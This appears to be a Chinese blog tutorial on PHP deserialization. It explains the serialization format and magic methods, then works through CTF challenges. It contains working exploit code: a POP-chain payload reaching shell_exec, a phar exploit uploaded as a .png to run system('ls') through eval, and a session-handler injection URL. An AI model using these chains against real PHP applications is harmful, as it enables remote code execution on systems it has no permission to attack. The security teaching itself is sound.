php反序列化

php序列化:

序列化字符串:

在学习反序列化之前需要了解什么是php序列化:

序列化是将对象转化为可存储或传输的字符串格式的过程。在php中,可以使用serialize()函数将对象,数组或其它数据类型序列化称为一个字符串,以便将其保存到文件或者进行网络传输。

通过以下代码,我们可以实现将一个对象序列化操作并输出序列化字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class ZLARYY{
public $xiexie = 2;
public $Chesmond = "L47yY";
public $Arach = true;

function ECH(){
return "ZLARYY!!!";
}
}
$ZL47yY = new ZLARYY();
$serialized = serialize($ZL47yY);
print_r($serialized);

注意输出序列化字符串只能使用var_dump或者print_r,不能使用echo

我们能看到代码执行结果为:

1
O:6:"ZLARYY":3:{s:6:"xiexie";i:2;s:8:"Chesmond";s:5:"L47yY";s:5:"Arach";b:1;}

接下来我们分析一下 这串序列化字符串的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
O:6:"ZLARYY":3:
O:代表 Object(对象)
6:代表类名的长度("ZLARYY"6 个字符)
"ZLARYY":类名
3:代表该对象包含 3 个属性

//内部数据以第一个属性为例

s:6:"xiexie";i:2;
Key (属性名): s:6:"xiexie"
s:代表 String(字符串)
6:字符串长度
"xiexie":具体的属性名

Value (属性值): i:2;
i:Int(整数)
2:具体的属性值

属性类型除了第一个的int之外还有string字符串以及bool布尔类型

1
2
3
4
5
6
7
8
s:5:"L47yY";
s:String(字符串)
5:属性值的长度
"L47yY":具体的属性值

b:1;
b:Bool(布尔型)
1:true

可以看到序列化字符串中并不包含我们的ECH方法

类的继承

我们还可以使用extends继承类,子类可以继承父类的属性和方法比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
class ZLARYY{
public $age = 18;
public $sex;

function Doing(){
echo "Studying";
}
}
class Arach extends ZLARYY{
public $private;
}
$a = new Arach;
$a->age = 19;
$a->sex = "man";
$a->Doing();
echo "</br>";
echo $a->age;

在Arach类中,我们没有定义age属性和Doing方法,却能实现调用,这就是类的继承

访问修饰符 :

访问修饰符(Access Modifiers)是面向对象编程中用于控制类、方法、变量等成员访问权限的关键字。它们定义了代码的可见性,通过封装实现信息隐藏,防止不当的外部访问,保护数据的安全性。主要的访问级别包括公开(public)、私有(private)和受保护(protected)

由图可以看到,public无论在哪里都可以访问,protected只有在类中和子类中可以访问,private只可以在类中调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
class ZLARYY{
public $age = 18;
protected $sex;

function Doing(){
echo "Studying";
}
}
class Arach extends ZLARYY{
public $private;
}
$a = new Arach;
$a->age = 19;
$a->sex = "man";
$a->Doing();
echo "</br>";
echo $a->age;

当我们把父类的sex属性更改为protected之后在类外使用echo调用会出现如下报错:

1
Fatal error: Cannot access protected property Arach::$sex in D:\phpstudy_pro\WWW\exercise.php on line 16

显示无法访问,原因是我们在类的外对Arach继承ZLARYY类的sex做了赋值,同理private属性更加严格

但如果我们在子类的内部进行调用就不会报错了:

那么不同的访问修饰符在序列化之后的字符串会不会有什么变化?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function ECH(){
return "ZLARYY!!!";
}
}
$ZL47yY = new ZLARYY();
$serialized = serialize($ZL47yY);
print_r($serialized);

以这串代码为例,输出的序列化字符串为:

1
O:6:"ZLARYY":3:{s:6:"xiexie";i:2;s:11:"*Chesmond";s:5:"L47yY";s:13:"ZLARYYArach";b:1;}

直接输出貌似还差了一点内容,我们对输出内容进行一下URL编码:

1
O%3A6%3A%22ZLARYY%22%3A3%3A%7Bs%3A6%3A%22xiexie%22%3Bi%3A2%3Bs%3A11%3A%22%00%2A%00Chesmond%22%3Bs%3A5%3A%22L47yY%22%3Bs%3A13%3A%22%00ZLARYY%00Arach%22%3Bb%3A1%3B%7D

值得注意的是:

1
2
%00%2A%00Chesmond //protected属性序列化字符串会在属性名前面加上%00*%00
%00ZLARYY%00Arach //private属性序列化字符串格式为:%00类型名%00属性名

魔术方法:

PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()__toString()等。

魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法,我们可以增强PHP对象的灵活性和功能性。

魔术方法是构造POP链的重点,尤其掌握各种魔术方法的触发时机

__construct():

类的构造函数,在类实例化对象时自动调用构造函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __construct(){
echo "ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

通过这串代码执行的结果我们能直观地看到__construct方法在第几行触发

可见,__construct方法在对象生成时,也就是new的时候就触发了

同时,如果我们给__construct带上一个参数,那么他也能实现赋值操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __construct($name){
echo $this->name = $name;
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY("2l47yY");
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

__destruct():

类的析构函数,在对象销毁之前自动调用析构函数,或者说脚本执行结束,unset时会调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//第一种:脚本执行结束
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __destruct(){
echo "ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//第二种:使用unset销毁对象
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __destruct(){
echo "ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
unset($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

对象都没有了序列化字符串当然是N(NULL)咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//第三种情况:使用了unserialize()方法
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __destruct(){
echo "ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
unserialize(serialize($ZL47yY));
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";
echo "</br>now?";

不难看出,输出第一个ZLARYY!!!是由于触发了unserialize(),而第二个ZLARYY!!!是由于脚本执行结束

__wakeup():

在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __wakeup(){
echo "</br>ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$b=unserialize($serialized);
echo "</br>now?";

这就很厉害了,刚好在unserialize调用的前一行触发,那也就说明wakeup触发时机在construct之后

__sleep():

在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __sleep(){
echo "</br>ZLARYY!!!";
//这里我指定序列化xiexie属性
return array('xiexie');
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$b=unserialize($serialized);
echo "</br>now?";

看结果,与wakeup差不多刚好在serialize调用的前一行触发,同时也的确只序列化了xiexie属性

__toString():

当对象被当做字符串调用,会触发__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __toString(){
echo "</br>ZLARYY!!!";
return "return is essential";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
echo $ZL47yY;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

这里如果我们不设置一个返回值的话结果是这样的:

__invoke():

当将一个对象作为函数进行调用时自动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __invoke(){
echo "</br>ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
echo $ZL47yY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

也可以这么做(赋值处理):

__call():

调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数

需要注意的是,__call()方法中必须存在两个参数$method和$args,否则会报错:

1
Fatal error: Method ZLARYY::__call() must take exactly 2 arguments in D:\phpstudy_pro\WWW\exercise.php on line 14
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function FLAG(){
echo "flag is ZLARYY{2L47yY}";
}

function __call($method,$args){
echo "i don't have ".$this->method=$method." this method</br>";
echo "ZLARYY!!!";
var_dump($args);
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$ZL47yY->flag1("i","need","flag");

$method用来存放那个不存在的方法名称,$args存放不存在的方法中用户给的参数包装为一个数组

__callStatic():

当尝试调用一个不存在或不可访问(private/protected)的静态方法时触发:

__call() 的区别:

  • __call(): 处理对象实例的方法调用(例如 $obj->method())。
  • __callStatic(): 处理类的静态方法调用(例如 Class::method())。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function FLAG(){
echo "flag is ZLARYY{2L47yY}";
}

function __callStatic($method,$args){
echo "i don't have ".$method." this method</br>";
echo "ZLARYY!!!";
var_dump($args);
}
}
echo "</br>now?";
ZLARYY::flag1("i");

__set():

当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数,可用于将数据写入不可访问的属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __set($name,$value){
echo "ZLARYY!!!";
echo "No Permission:".$name;
$this->Arach = $value;
}

function Val(){
var_dump($this->Arach);
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$ZL47yY->Arach=false;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
$ZL47yY->Val();

如果代码允许,我们可以给私有属性赋值

__get():

当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __get($name){
echo "ZLARYY!!!";
echo "Are you sure there is ".$name."?";
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$ZL47yY->ilyy4;
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

$name存储不可访问或不存在的属性名:即把ilyy4替换为Arach一样可以触发,同样的$name必须存在

__isset():

当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。

或者说检测对象的某个属性是否存在时执行此函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __isset($name){
echo "ZLARYY!!!";
echo "Are you sure there is ".$name."?";
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
isset($ZL47yY->illy4);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

与__get()一样,$name也是必不可少,把illy4替换为Arach、Chesmond或者把isset替换为empty都会触发

__unset():

当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//unset一个不可访问的属性或者不存在的属性
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __unset($name){
echo "ZLARYY!!!";
echo "Unset ".$name."!";
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
unset($ZL47yY->Chesmond);
echo "</br>now?";
unset($ZL47yY->illy4);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

但是由于Chesmond的protected属性,最终无法真正被销毁,但是public就不一样了:

1
O:6:"ZLARYY":2:{s:11:"*Chesmond";s:5:"L47yY";s:13:"ZLARYYArach";b:1;}

可以看到也只触发了一次__unset()

__clone():

当使用 clone 关键字复制一个对象时自动调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __clone(){
echo "ZLARYY!!!";
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$illy4 = clone $ZL47yY;
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";
print_r(serialize($illy4));

能触发并且成功clone

__debugInfo():

在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

注:这个魔术方法在5.6.0被引进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __debugInfo(){
echo "ZLARYY!!!";
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
var_dump($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

同时我们可以利用这个魔术方法自定义返回的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

function __debugInfo(){
echo "ZLARYY!!!";
return [
'xiexie' => "CTFer",
'Chesmond' => $this->Chesmond
];
}

}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
var_dump($ZL47yY);
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

__set_state():

在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
Class ZLARYY{
public $xiexie = 2;
protected $Chesmond = "L47yY";
private $Arach = true;

static function __set_state(){
echo "ZLARYY!!!";
}
}
echo "</br>now?";
$ZL47yY = new ZLARYY();
echo "</br>now?";
$code = var_export($ZL47yY,true);
echo "</br>now?";
eval($code.';');
echo "</br>now?";
$serialized = serialize($ZL47yY);
echo "</br>now?";
print_r($serialized);
echo "</br>now?";

调用这个魔术方法不仅仅只var_export一个对象,还需要将生成的内容拿去执行,也就是eval($code,’;’)部分

1
2
var_export() 不会 执行 __set_state() 方法。 它只是生成了一段代码字符串,这段代码里包含了对 __set_state() 的调用。
只有当你把这段生成的代码拿去 执行(例如使用 eval() 或者写入文件后 include)时,__set_state() 才会被真正触发。

POP链

POP链(Property-Oriented Programming Chain)是一种通过控制对象属性来构造的调用链,利用一系列魔术方法之间的调用关系,最终达到执行任意代码的目的。

这里采用几道例题来展示:

POLARD&N简单上的php反序列化初试:

题目内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}

if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}

这道题很明显在第一个类Easy中有个echo语句可以触发第二个类Evil的toString方法,利用echo把对象Evil当做字符串执行,进而触发shell_exec

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil='sort fl@g.php;';
public $env=" ";
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}
$a=new Easy();
$b=new Evil();
$a->name=$b;
print_r(serialize($a));

这道题我们可以直接修改env属性为public直接传入

phar反序列化

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面

phar文件结构 :

1
2
3
4
5
6
7
8
1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

phar文件生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

这里给一下其他脚本大佬的注释 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

// 1. 定义核心恶意类:funny
class funny{
// __destruct()是PHP魔术方法:当对象被销毁(如脚本结束、unset、反序列化后)时自动执行
function __destruct() {
// global $flag:声明使用全局变量$flag(目标服务器中通常存储flag)
global $flag;
// 输出$flag——这是漏洞利用的最终目标(获取flag)
echo $flag;
}
}

// 2. 清理旧文件:避免同名文件导致创建失败
// @:抑制unlink的错误(比如文件不存在时的报错)
@unlink("exp1.phar");

// 3. 创建phar文件核心流程
// 实例化Phar类,创建exp1.phar文件(后缀必须是.phar,PHP识别phar文件的基础)
$phar = new Phar("exp1.phar");

// 开启phar缓冲区:所有操作先写入内存,不直接刷到磁盘(避免频繁IO)
$phar->startBuffering();

// 设置phar的Stub(标识头):必须以<?php __HALT_COMPILER(); ?>结尾,PHP才能识别为phar文件
// 这是phar文件的“身份标识”,无此内容PHP不会解析为phar文件
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 关键:创建funny类的实例(对象)
$b =new funny();

// 将funny对象存入phar的元数据(metadata)
// 注意注释:不用手动serialize()——Phar类会自动将传入的对象序列化后存入manifest(清单)
$phar->setMetadata($b);

// 向phar归档中添加一个空文件(test.txt),内容为"test"
// 核心要求:phar文件必须包含至少一个文件内容(否则创建失败),这行是满足格式要求的“占位符”
$phar->addFromString("test.txt", "test");

// 结束缓冲区:将内存中的操作刷到磁盘,自动计算phar文件的签名(完成创建)
$phar->stopBuffering();

// 4. 读取并编码phar文件内容
// 读取生成的exp1.phar文件的二进制内容
$content = file_get_contents('exp1.phar');

// 先base64编码(处理二进制内容),再urlencode(避免传输时乱码),最后换行
echo urlencode(base64_encode($content)) . "<br>";

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

[HNCTF 2022 WEEK3]ez_phar

这道例题直接进去给了我们这些信息:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>

还提示我们要upload something

dirsearch扫一下就可以知道这里存在一个upload.php,并且上传的文件保存在/upload下

利用phar文件生成的php代码,我们实例化一个Flag类之后将code赋值为system(‘ls’);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(1);
class Flag{
public $code;
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Flag();
$o ->code = "system('ls');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

我们尝试上传这一个.phar文件,不过给了我们这样一个警告:

1
only jpg png jpeg

不过这也无伤大雅,我们可以把phar文件的后缀名修改为png,由于phar协议的特性让上传的.png文件也可以被解压缩,(详细看本博客上一篇SSRF各种协议)

修改phar文件内容,ls /能看到ffflllaaaggg

session反序列化

内容来自:https://www.freebuf.com/articles/web/324519.html

在学习session反序列化之前我们先来了解一些处理器和配置项:

1
2
3
4
5
6
session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0 --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用

PHP session序列化机制

根据php.ini中的配置项,我们研究将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中,使用的三种不同的处理格式,即session.serialize_handler定义的三种引擎:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

php处理器

1.首先来看看默认session.serialize_handler = php时候的序列化结果

1
2
3
4
<?php
session_start();
$_SESSION['flag']=$_GET['flag'];
echo $_SESSION['flag'];
1
flag|s:14:"ZLARYY{2l47yY}"

可见默认下存储格式为键名+|加上序列化字符串

在看大佬文章的时候我就想试试如果键名为空会发生什么:

1
2
3
4
<?php
session_start();
$_SESSION=$_GET['FLAG'];
var_dump($_SESSION);

的确能输出:

1
string(14) "ZLARYY{2l47yY}"

但是session文件是空的

2.php_serialize处理器:

session.serialize_handler = php_serialize

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['flag1']=$_GET['flag1'];
echo $_SESSION['flag1'];
1
a:1:{s:5:"flag1";s:14:"ZLARYY{2l47yY}";}

文件内容即经过 serialize() 函数反序列处理的数组

3.php_binary处理器:

session.serialize_handler = php_binary

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sevensevensevensevensevensevenseven']=$_GET['sevensevensevensevensevensevenseven'];
echo $_SESSION['sevensevensevensevensevensevenseven'];
1
#sevensevensevensevensevensevensevens:14:"ZLARYY{2l47yY}";

为了方便展示这里用了长度为35,ASCII字符为#的键名,这里键名最后的s表示String

session反序列化漏洞

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

首先创建session.php,使用php_serialize处理器来存储session数据

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo $_SESSION['session'];

接着再创建一个liu.php,使用默认php处理器来存储session数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
session_start();
class ZLARYY{
public $xiexie = "phpinfo()";
public $Chesmond;
public $Arach;

function __construct(){
echo "ZLARYY!!!";
}
function __wakeup(){
echo "im ready to be unserialized";
}
function __destruct(){
echo "Finished";
}
}

接着,我们构建URL进行访问session.php

1
http://ZLARYY.com/session.php?session=|O:6:"ZLARYY":3:{s:6:"xiexie";s:9:"phpinfo()";s:8:"Chesmond";N;s:5:"Arach";N;}

打开PHPSESSID文件可看到序列化存储的内容

1
a:1:{s:7:"session";s:78:"|O:6:"ZLARYY":3:{s:6:"xiexie";s:9:"phpinfo()";s:8:"Chesmond";N;s:5:"Arach";N;}";}

这时,由于浏览器中保存的PHPSEED文件名不变,当我们把用session.php生成的PHPSEEID文件一并带去访问另一个liu.php,再加上liu.php的PHPSEEID文件存储形式为默认,那么就会把|后面的内容反序列化,造成如下结果:

注:反序列化字符串这个行为不会触发__construct()

php session工作流程如下:

1
2
3
4
5
6
7
8
9
以PHP为例,理解session的原理
1.PHP脚本使用 session_start()时开启session会话,会自动检测PHPSESSID
如果Cookie中存在,获取PHPSESSID
如果Cookie中不存在,创建一个PHPSESSID,并通过响应头以Cookie形式保存到浏览器
2.初始化超全局变量$_SESSION为一个空数组
3.PHP通过PHPSESSID去指定位置(PHPSESSID文件存储位置)匹配对应的文件
存在该文件:读取文件内容(通过反序列化方式),将数据存储到$_SESSION中
不存在该文件: session_start()创建一个PHPSESSID命名文件
4.程序执行结束,将$_SESSION中保存的所有数据序列化存储到PHPSESSID对应的文件中

原生类反序列化

在学习这一块的时候注意到了一篇文章用脚本枚举了有魔术方法的所有内置类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
